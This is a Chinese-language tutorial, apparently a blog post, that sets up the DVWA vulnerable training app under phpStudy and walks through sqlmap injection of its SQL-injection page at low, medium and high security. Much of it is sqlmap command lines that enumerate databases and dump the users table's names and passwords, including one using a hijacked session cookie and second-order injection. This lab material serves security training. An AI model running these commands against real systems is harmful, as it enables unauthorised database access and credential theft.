赞
踩
1、客户端向服务端请求的流程
2、SQL注入常见分类
3、SQL注入常见过程
4、SQL注入的作用
5、常用SQL测试语句
注释字符:
一、下载DVWA
下载地址:DVWA/README.zh.md at master · digininja/DVWA · GitHub
这里我是从GitHub上下载的,小伙伴们自行选择
二、安装DVWA
在安装前,需要做一个准备工作,我们先去做一个PHP+Mysql的环境搭建。
1.下载、安装、启动phpstudy,小皮面板(phpstudy) - 让天下没有难配的服务器环境!
(phpStudy是一个PHP调试环境的程序集成包。恰好我们可以用到"PHP+Mysql+Apache"。)
注意开启apache和mysql
2、将下载的DVWA解压到phpstudy网站根目录下。
例如:我这解压后的路径是“D:\phpStudy\WWW\DVWA-master\”(这里为了后面进入目录方便,我会将文件名改成DVWA)
3、将 config.inc.php.dist 复制一份或重命令为 config.inc.php;
例如:我的配置文件路径是“D:\phpStudy\WWW\DVWA-master\config”。
注意:有的小伙伴操作系统可能会默认不显示文件后缀名,改为显示后缀名之后再重命名文件类型 config.inc.php.dist→config.inc.php。这步必须做。
4、修改 config.inc.php 里代码如下:
$_DVWA[ 'db_server' ] = '127.0.0.1'; #数据库地址
$_DVWA[ 'db_database' ] = 'dvwa'; #数据库名称
$_DVWA[ 'db_user' ] = 'root'; #数据库用户名
$_DVWA[ 'db_password' ] = 'root'; #数据库密码
因为phpstudy默认的mysql数据库地址是“127.0.0.1 或 localhost",用户名和密码都是"root"。主要是修改’db_password‘为root,这里很重要,修改后自然是需要保存文件的。
三、DVWA使用
1、设置或重置数据库
浏览器只需要直接打开“http://搭建环境的系统ip/DVWA-master/setup.php”即可!如果有”标红“提示,可能你要打开一些模块或做一些设置,否则有些是不能实验的,例如:文件包含、文件上传漏洞。
如:红色字体显示“DVWA-PHP function allow_url_include: Disabled”错误
需要改的不是DVWA文件夹下的php.ini,而是你安装的php的php.ini。
由于我使用的是PHPstudy,找到所使用的php版本号所在文件夹,修改php.ini中的allow_url_include为On,错误得到解决。
拉到下面,点击Setup/Reset DB,点击Create/Reset Database。会看到创建成功提示!
2、登陆
浏览器打开”http://127.0.0.1/DVWA-master/login.php“登陆。默认用户名:admin,默认密码:password;
注意:若在kali中不能访问页面,需要设置或关闭Windows服务器中防火墙。
3、设置程序安全级别
浏览器打开”http://你自己ip/DVWA-master/security.php“来做设置,分别有”低、中、高、不可能“,程序安全级别越低,说明越容易被攻破,没有做任何的安全防护。主要是用来自我挑战不同等级的程序防护级别的!
环境配置好,可以开打啦!
利用sqlmap对DVWA中Low进行SQL注入
输入: python sqlmap.py -u http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1
报错:不可注入…提示
用一个带上一个响应包注入成功了
切记: sqlmap.py -u 后面是跟URL
sqlmap.py -r 后面是跟响应数据
sqlmap进行注入时,最好使用-r
最后再复习一下sqlmap注入命令:
1、是否存在注入点
python sqlmap.py -r “响应包路径”
2、获取注入点所有数据库
python sqlmap.py -r “响应包路径” --dbs
3、获取当前使用的数据库
python sqlmap.py -r “响应包路径” --current-db --batch
4、获取数据库中的表
python sqlmap.py -r “响应包路径” --table -D “数据库名” --batch
5、获取表中的字段信息
python sqlmap.py -r “响应包路径” --columns -T “表名” -D “获取的数据库名” --batch
6、获取字段具体信息
python sqlmap.py -r “响应包路径” --dump -C “字段名(可多个)” --columns -T “表名” -D “数据库名” --batch
7、当前使用的账户
python sqlmap.py -r “响应包路径” --current-user
8、列出所有使用过的账户
python sqlmap.py -r “响应包路径” –users
9、mysql的登录账户和密码
python sqlmap.py -r “响应包路径” –passwords
例1:sqlmap.py -r 后面是跟响应数据
第一步:复制durp工具捕获的请求代码,生成aa.txt文件。
第二步:sqlmap 注入
sqlmap -r "/home/hfy/桌面/aa.txt" -D dvwa -T users -C user,password --dump
获得数据库
获得dvwa库中表
获得users表中列(字段)
获得user,password字段值。
例2:sqlmap.py -u 后面是跟URL
第一步:durp工具捕获的请求COOKies
浏览器登录dvwa靶场——设置安全级为LOW——选择SQL Injection——输入任意ID号——点击Submit(浏览器要启用代理:127.0.0.1,端口8080)
durp中在Proxy下开启Intercept is on
第二步:sqlmap注入
使用-u参数来指定目标URL,--dbs进行数据库爆破
sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie "security=low; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" --dbs
之后可得到数据库信息:
爆破成功,接下来可进行数据库查看等一系列操作。
-D dvwa -tables: 查看数据库dvwa中的表
sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie "security=low; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" -D dvwa -tables
-T users -columns:查看表user中的字段名
sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie "security=low; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" -D dvwa -T users -columns
-C user,password --dump:获取字段user,password信息
sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie "security=low; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" -D dvwa -T users -C user,password --dump
.DVWA等级--mid爆破方法:
同例1:sqlmap.py -r 后面是跟响应数据
DVWA等级--high爆破方法:
需要二阶sql注入(--second-order)
sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" --cookie "security=high; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" --second-url "http://192.168.1.2/dvwa/vulnerabilities/sqli/session-input.php" --dbs
可以查看数据库信息了。
sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" --cookie "security=high; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" --second-url "http://192.168.1.2/dvwa/vulnerabilities/sqli/session-input.php" -D dvwa -tables
得到了数据中表信息。
sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" --cookie "security=high; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" --second-url "http://192.168.1.2/dvwa/vulnerabilities/sqli/session-input.php" -D dvwa -T users -columns
得到了表中字段信息。
sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" --cookie "security=high; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" --second-url "http://192.168.1.2/dvwa/vulnerabilities/sqli/session-input.php" -D dvwa -T users -C user,password -dump
得到了user,password字段的值。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。